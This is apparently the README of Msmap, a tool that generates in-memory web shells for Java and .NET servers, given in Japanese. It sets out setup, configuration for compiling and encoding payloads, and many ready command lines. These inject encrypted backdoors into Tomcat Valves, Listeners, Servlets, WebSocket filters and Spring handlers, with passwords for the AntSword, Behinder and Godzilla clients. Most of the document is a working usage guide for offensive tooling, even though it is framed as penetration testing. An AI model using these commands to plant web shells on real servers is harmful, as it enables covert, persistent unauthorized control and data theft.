
Javaコンテナ(Tomcat、Spring、WebLogic)をサポートするモジュラー型メモリWebシェル生成ツール。複数のシェルタイプ、エンコーダー、自動コンパイル機能を備え、ポストエクスプロイテーションのペネトレーションテストに使用します。
MsmapはメモリWebShellジェネレーターです。さまざまなコンテナ、コンポーネント、エンコーダー、WebShell / Proxy / Killer、および管理クライアントと互換性があります。简体中文
アイデアの背景 I, アイデアの背景 II, アイデアの背景 III



*: SpringHandlerはJDK8+のみ対応
*: JVMのデフォルトは Linux Tomcat 8/9 に対応。その他のバージョンは高度なガイドに従って対応可能。
WebShell
モジュール化は不要
Proxy: Neo-reGeorg, wsproxy
Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner
git clone [email protected]:hosch3n/msmap.git
cd msmap
python generator.py
[警告] 必ずユニークなパスワードを設定してください。オプションは大文字小文字を区別します。
config/environment.py を編集
# 自動コンパイル
auto_build = True
# クラスファイルをBase64エンコード
b64_class = True
# スクリプトファイルを生成
generate_script = True
# コンパイラの絶対パス
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
gist/java/container/tomcat/servlet.py を編集
// Servletのパスパターン
private static String pattern = "*.xml";
WsFilterで暗号化エンコーダーを使用する場合、パスワードはパスと同じである必要があります(例: /passwd)
gist/java/container/jdk/javax.py は、ターゲットコンテナに応じて lib/servlet-api.jar と置き換えることができます。
pip3 install pyperclip でクリップボードへの自動コピーをサポートします。
Base64 エンコーダーと Command | Tomcat Valveに注入
python generator.py Java Tomcat Valve Base64 CMD passwd
デフォルト エンコーダーと JSP タイプ | Tomcat Valveに注入
python generator.py Java Tomcat Valve RAW AntSword passwd
aes_128_ecb_pkcs7_padding_md5 エンコーダーと JSP タイプ | Tomcat Listenerに注入
python generator.py Java Tomcat Listener AES128 AntSword passwd
rc_4_sha256 エンコーダーと JSP タイプ | Tomcat Servletに注入
python generator.py Java Tomcat Servlet RC4 AntSword passwd
xor_md5 エンコーダーと JSP タイプ | AgentFilessでHttpServletに注入
python generator.py Java JDK JavaX XOR AntSword passwd
aes_128_ecb_pkcs7_padding_md5 エンコーダーと JSPJS タイプ | Tomcat WsFilterに注入
python generator.py Java Tomcat WsFilter AES128 JSPJS passwd
xor_md5 エンコーダーと JSPJS タイプ | Spring Handlerに注入
python generator.py Java Spring Handler XOR JSPJS passwd
default_aes タイプ | Tomcat Valveに注入
python generator.py Java Tomcat Valve AES128 Behinder rebeyond
default_xor_base64 タイプ | Spring Interceptorに注入
python generator.py Java Spring Interceptor XOR Behinder rebeyond
JAVA_AES_BASE64 タイプ | Tomcat Valveに注入
python generator.py Java Tomcat Valve AES128 Godzilla superidol
JAVA_AES_BASE64 タイプ | AgentFilessでHttpServletに注入
python generator.py Java JDK JavaX AES128 Godzilla superidol
JAVA_AES_BASE64 タイプ | Spring Handlerに注入
python generator.py Java Spring Handler AES128 Godzilla superidol
Behinder | wsMemShell | ysomap